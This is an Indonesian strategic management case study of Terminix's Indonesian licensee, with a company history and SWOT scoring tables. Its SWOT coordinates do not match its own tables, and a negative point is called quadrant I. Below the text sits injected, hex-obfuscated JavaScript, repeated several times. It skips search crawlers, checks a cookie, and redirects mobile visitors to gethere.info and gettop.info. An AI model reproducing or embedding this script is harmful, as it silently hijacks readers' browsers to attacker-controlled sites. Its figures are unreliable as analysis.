MANAJEMEN STRATEGI: STUDI KASUS PT.AGRICON PUTRA CITRA OPTIMA(TERMINIX INTERNATIONAL INDONESIA)

 

SEJARAH SINGKAT


–> 

 

 

 

MANAJEMEN
STRATEGI:

STUDI KASUS

PT.AGRICON PUTRA CITRA OPTIMA(TERMINIX INTERNATIONAL INDONESIA)

 

Hama
merupakan  permasalahan yang terjadi diseluruh wilayah,dan lapisan masyarakat.
Sampah yang dihasilkan rumah tangga, perkantoran,hotel, rumah sakit, pasar dan
lainnya setiap harinya dibuang begitu saja, karena menngganggu kenyamanan,
berbau, mengganggu estetika, dan hampir semua orang beranggapan bahwa sampah
adalah suatu hal yang menjijikan, kotor, mengandung penyakit  serta sum
ber
hama beresarang dan lain sebagainya.   Karna
banyaknya populasi
hama di indonesia dan serta di dukung
pula dengan beberapa faktor keberadaan hama serta cuaca
melalui banyak sampah,kubangan air yang potensi adalah sebagai
sumber hama bersarang maka dari itu kami berusaha memanfaatkan lahan yang ada
untuk
menghasilkan  sehingga
menjadikan
indonesia  bebas dengan hama menjadikan rumah aman nyaman tentram serta
sehat bebas hama.

SEJARAH SINGKAT

Berdiri sejak 1927 di Amerika Serikat,
Terminix adalah pelopor usaha jasa pengendalian rayap di dunia.
Terminix memperluas cakupan jasanya ke pengendalian tikus & serangga pada
1969 dan kemudian tumbuh menjadi salah satu perusahaan pengendali hama &
rayap terbesar didunia, dengan lebih dari 4,1 juta pelanggan di 14
negara
.

 

Pada
tahun 1995, PT. Agricon sebagai salah satu perusahaan agrochemical
terbesar di Indonesia membeli lisensi Terminix. Kemudian pada Desember 2002,
berdirilah PT. Agricon Putra Citra Optima sebagai pemegang lisensi
Terminix (Master License Holder) di Indonesia.

 

Hingga kini, Terminix dengan 26 cabang telah melayani ribuan
pelanggan di
24 kota besar Indonesia yakni Jakarta (3 cabang),
Tangerang, Cikarang, Bogor, Bandung, Surabaya, Makassar, Denpasar, Medan,
Lampung, Pekanbaru, Semarang, Timika, Malang, Manado, Padang, Yogyakarta yang
juga mencakup wilayah Banten, Sukabumi, Cirebon, Tasikmalaya, Garut, Sidoarjo,
Pasuruan, Kediri, Madura, Jember, Madiun, Kendari, Palu, Ambon, Gorontalo,
Pare-Pare, Palembang, Wonosobo, Purwokerto, Magelang, dan Solo.

 

 

 

 

 

Visi Perusahaan

 

Menjadikan
lingkungan  bebas hama dan nyaman lingkungan

 

 Misi Perusahaan

 

1.    Konversi
pengendalian hama  melalui manajemen yang professional IPM (intregeted pest
menejement )

2.    Menerapkan
teknologi tepat guna untuk menghasilkan produk berkualitas

3.    Edukasi
masyarakat tentang cara  pencegahan hama secara tradisional agar smua
masyarakat hidup sehat aman & nyaman tampa ada hama yang menggangu

 

 

 

 

 

CAKUPAN
& JENIS PELAYANAN

Cakupan pelayanan Terminix International Indonesia meliputi area :

 

Hunian/Perumahan

Meliputi
rumah tinggal, villa & unit apartemen.

 

Komersial

Meliputi Hotel,
Restoran, Toko (Mall, Dept. Store dll), Fasilitas Pendidikan, Fasilitas
Kesehatan & Kecantikan, Fasilitas Publik & Hiburan, Fasilitas
Pengolahan Makanan, Manufaktur, Pergudangan & Distribusi serta Manajemen
Properti & Perkantoran.

 

Visi Misi Perusahaan

 

Visi

 

Menjadikan perusahaan
jasa pengendali hama yg berskala international

 

Misi

 

 Menjadikan indonesia
bebas hama dan menjadikan tempat tinggal yang nyaman dengan bebas hama

 

Tujuan perusahaan

 

 Dengan semakin
berkembang nya permasalahan hama di indonesia maka tujuan kami adalah
memanfaatkan lahan yg ada ini dngan menghasilkan pendapatan sehingga dengan
selain rumah bebas hama juga untuk menyejahterakan masyarakat yg maembutuhkan
pekerjaan

 

 

 

Analisis strenght
& weaknes PT Agricon putra citra optima (terminix)

 

Ø  Kualitas pekerjaan

+ pada dasarnya untuk
jenis pelayanan pada perusahaan ini sangat memuaskan pelanggan ini bisa di
buktikan dengan semakin brkembangnya perusahaan sehingga customer  mempercayakan
pada perusahaan ini dalam hal pengendaliaan serangga

 

– harga yang mahal

 Demi memuaskan ke
inginan pelanggan maka di tunjang pula dengan kualitas pelayanan sehingga
mengakibatkan tinggi nya biaya operasional termasuk biaya pada teknisi

 

Ø   Menguasai pangsa
pasar

+ karna terminix yang
mempunyai brand sehingga mampu menguasai pangsa pasar di seluruh wilayah
indonesia

 


Kurangnya
minat

Karna harga yg mahal
dan semakin bnyak nya perusahaan yg berkembang di bidang yg sama se hingga
masyarakat yg pada umumnya menengah kebawah lebih memilih perusahaan lokal
dalam hal pengendali hama

 

Ø  Sumberdaya manusia

+ kualitas pelayanan

Dengan  di tunjang
dengan sdm yang tinggi dan juga di dasari dengan pelatihan yg berkesinambungan
maka setiap teknisi kami mampu bersaing dengan kompeten dari perusahaan lain

 


Sulitnya
berkembang

Sebagai pelopor
perusahaan yg bergerak di bidang pengendali serangga maka setiap karyawanya
mempunyai pengetahuan yg luas di bidang hama dan sulitnya bersaing dengan
sesama rekan kerja untuk mendapatkan posisi jabatan maka banyak karyawan yg di
rekrut oleh perusahaan lain yg langsung mendapat jabatan

Ø   Ke uangan

+ pada saat terminix
masih bergabung dengan  perusahaan PT Agricon maka ke uangan perusahaan pada
saat itu sangat kuat dan dana cadangan berkecukupan

 


Setelah
melepaskan diri dari induk perusahaan dan berdiri sebagai PT AGRICON PUTRA
CITRA OPTIMA( TERMINIX ) dana yg tersedia untuk operasional mulai berkurang
akan teatapi dengan berkembangnya perusahaan sehingga TERMINIX  mampu berdiri
sendiri tanpa mengharapkan dukungan dana dari induk perusahaan

 

 

 

 

 

 

 

INTERNAL FAKTOR
ANALISIS STRENGHT

 

FAKTOR STRATEGIS

NILAI

BOBOT

RATING

SKOR

Kualitas pekerjaan

4

0,4

4

1,6

Menguasai pangsa
pasar

3

0,3

3

0,9

Sumberdaya manusia

4

0,4

4

1.6

Ke uangan

3

0,3

3

0,9

TOTAL

14

1.4

13

4

 

Ukuran pembobotan :         

  • 1
    = sedikit penting
  • 2
    = Agak penting
  • 3
    = penting
  • 4
    = sangat penting

Ukuran Rating Kekuatan :

  • 1
    = Sedikit kuat
  • 2
    = Agak kuat
  • 3
    = kuat
  • 4
    = Sangat kuat

 

 

 

 

INTERNAL FAKTOR
ANALISIS WEAKNES

 

 

 

 

FAKTOR STRATEGIS

NILAI

BOBOT

RATING

SKOR

 harga
yang mahal

4

0,4

-3

-1,2

Kurangnya minat

3

0,3

-3

-1,2

Sulitnya berkembang

3

0,3

-2

-0,6

TOTAL

10

1

-9

-3,0

 

 

 

 

 

 

 

 

 

 

Ukuran pembobotan
:         

  • 1
    = sedikit penting
  • 2
    = Agak penting
  • 3
    = penting
  • 4
    = sangat penting

Ukuran Rating Kelemahan :

  • 1
    = Sedikit lemah
  • 2
    = Agak lemah
  • 3
    = lemah
  • 4
    = Sangat lemah

 

Kuesioner Internal Factor Analysis Strategi Untuk
Mengetahui Peluang (Opportunity)

 

Faktor
strategis

 

 

Nilai

 

Bobot

 

Rating

 

Skor

 

Besarnya pasar potensial

4

0.23

3

0.69

Perkembangan teknologi informasi yang pesat

4

0.23

4

0.92

Kebutuhan dasar masyarakat akan barang konsumsi
dan kesehatan

3

0.18

3

0.54

Banyaknya principal baru yang potensial

3

0.18

2

0.36

Kesadaran masyarakat akan kesehatan yang semakin
tinggi

3

0.18

2

0.36

 

Total

 

17

 

1

 

14

 

2.87

Ukuran pembobotan :

  • 1
    = sedikit penting
  • 2
    = Agak penting
  • 3
    = penting
  • 4
    = sangat penting

Ukuran Rating Peluang:

  • 1
    = Sedikit peluang
  • 2
    = Agak peluang
  • 3
    = peluang
  • 4
    = Sangat berpeluang

 

­
Kuesioner Internal Factor Analysis Strategi Untuk Mengetahui
Ancamana (Threat)

 

Faktor
strategis

 

 

Nilai

 

Bobot

 

Rating

 

Skor

 

Munculnya perusahaan asing yang membuka cabang di
Indonesia

4

0.19

-3

-0.57

Fluktuasi nilai tukar mata uang asing

3

0.14

-2

-0.28

Masuknya era perdagangan bebas (AFTA)

3

0.14

-2

-0.28

Munculnya produk pengganti

4

0.19

-4

-0.76

Kebijakan pemerintah dalam penetapan pajak bea
cukai

4

0.19

-3

-0.57

Pemrosotan daya beli masyarakat

3

0.14

-3

-0.42

 

Total

 

21

 

0.99

 

-17

 

-2.88

Ukuran pembobotan :

  • 1
    = sedikit penting
  • 2
    = Agak penting
  • 3
    = penting
  • 4
    = sangat penting

Ukuran Rating Ancaman :

  • 1
    = Sedikit Mengancam
  • 2
    = Agak Mengancama
  • 3
    = Mengancam
  • 4
    = Sangat Mengancam

 

Untuk
mencari koordinatnya, dapat dicari dengan cara sebagai berikut:

  • Koordinat
    Analisis  Internal

(Skor
total Kekuatan – Skor Total Kelemahan) : 2 = ( 2,88 – 3.37 ) : 2 = -0.245

  • Koordinat
    Analisis Eksternal

(Skor
total Peluang – Skor Total Ancaman) : 2 = (2.87 – 2.88) : 2 = -0.005

  • Jadi
    titik koordinatnya terletak  pada (-0.245,-0.005)

berikutnya,
hasil koordinat tersebut disajikan pada diagram matrik swot untuk mengetahui
posisi perusahaan

 

 

 

diagram swoot 2

 

 

 

 

 

 

 

 

 

 

 

 

Setelah diketahui titik pertemuan diagonal-diagonal
tersebut(X), maka posisi unit usaha diketahui pada kuadran  I .

Hasil perhitungan dari masing-masing kuadran dapat
digambarkan pada tabel berikut ini :

Kuadran

Posisi titik

Luas matrik

Ranking

Prioritas Strategi

I

( 2.9 ; 3.7 )

10.73

1

Growth

II

( 2.4 ; 3.7 )

8.88

2

Stabilitas

III

( 2.4 ; 3.04 )

7.29

4

Penciutan

IV

( 2.9 ; 3.04 )

8.81

3

Kombinasi

 

 

Keterangan :

  • Pada kuadran I ( S O
    Strategi ) strategi umum yang dapat dilakukan oleh perusahaan adalah
    menggunakan kekuatan perusahaan untuk mengambil setiap keunggulan pada kesempatan
    yang ada ( perluasan pangsa pasar ).
  • Pada kuadran II ( W O
    Strategi ) perusahaan dapat membuat keunggulan pada kesempatan sebagi
    acuan untuk memfokuskan kegiatan dengan menghindari kelemahan.
  • Pada kuadran III ( W
    T Strategi ) Meminimumkan segala kelemahan untuk menghadapi setiap
    ancaman.
  • Pada kuadran IV ( S T
    Strategi ) Menjadikan setiap kekuatan untuk menghadapi setiap ancaman
    dengan menciptakan diversifikasi untuk menciptakan peluang.

Strategi
Bisnis Unit

Tahapan
berikutnya adalah menentukan alternatif strategi bisnis unit berdasarkan letak
posisi kuadran. berdasarkan pada diagram matrik swot diatas, PT. AGRICON PUTRA
CITRA OPTIMA (TERMINIX) terletak pada posisi Kuadran I. Masing-masing jenis
strategi perkembangan bisnis unit dapat digambarkan pada Diagram Matrik
Strategi Umum berikut ini:

 

 

 

 

Posisi PT. AGRICON
PUTRA CITRA OPTIMA (TERMINIX) terletak pada kuadran I dan menggunakan strategi
umum Diversifikasi Konsentrik, yaitu Menambah dan
menggunakan metode terbaru  produk-produk baru yang saling berhubungan untuk
pasar yang sama

 

 

 

 

 

 

 

 

 

 

Tabel Analisa Persaingan TERMINIX  VS RENTOKIL

( Pesaing Utama )

4P

TERMINIX

RENTOKIL

KETERANGAN

ACTION

PLAN

PRODUK

UNGGUL

 

Setiap karyawan
memouyai edukasi dan sertifikasi serta SDM yg tinggi di buktikan dengan
sertifikat dari dinkes dan ASPHAMI

Pelatihan
berkesinambungan dan berjenjang sebagi pedoman dalam menempuh karier

PRICE

 

UNGGUL

Berani memberi harga lbh
rendah
di banding dengan pesaing utamanya

Memberikan pelayangan yg lebih optimal dengan memberi kepercayaan
bahwa uang yang customer bayarkan  akan sebanding dengan hasil yang baik di
lapangan

PLACE

UNGGUL

 

Menjangkau di setiap
kota besar dan semua pulau di Indonesia  (JAWA,BALI SUMATRA ,KALIMANTAN
SULAWESI IRIAN JAYA ,PAPUA ) DLL

Service & Maintenance
seta di lemgkapi dengan kantor cabang pembantu di setiap kotanya 

PROMOTION

UNGGUL

 

Iklan & Loyalitas
Pelanggan serta jangkauan ke semua vendor serat konbtraktor

Mengadakan reword  Berhadiah
dan bonus bagi

pelanggan serta iklan di berbagai mediadisertai dengan intertain ke setiap
contak paerson

 

 

 

 

 

 

PRODUK PENGGANTI

4P

KASA NYAMUK

Black hole

KETERANGAN

ACTION

PLAN

PRODUK

LEBIH UNGGUL KARNA LEBIH AMAN DAN TANPA MENGGUNAKAN
BAHAN KIMIA

 Mempunyai daya
pikat terhadap semua jenis serangga terbang

SEBAGAI
PENGGANTI BAHAN KIMIA

LEBIH AMAN DAN
TANPA RACUN SERANGGA TETAPI HANYA MAMAPU MEMBASMI SERANGGA TERBANG

PRICE

 LEBIH MURAH

BANYAK DI JUMPAI DI SETIAP TOKO

PLACE

 

PROMOTION

 

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 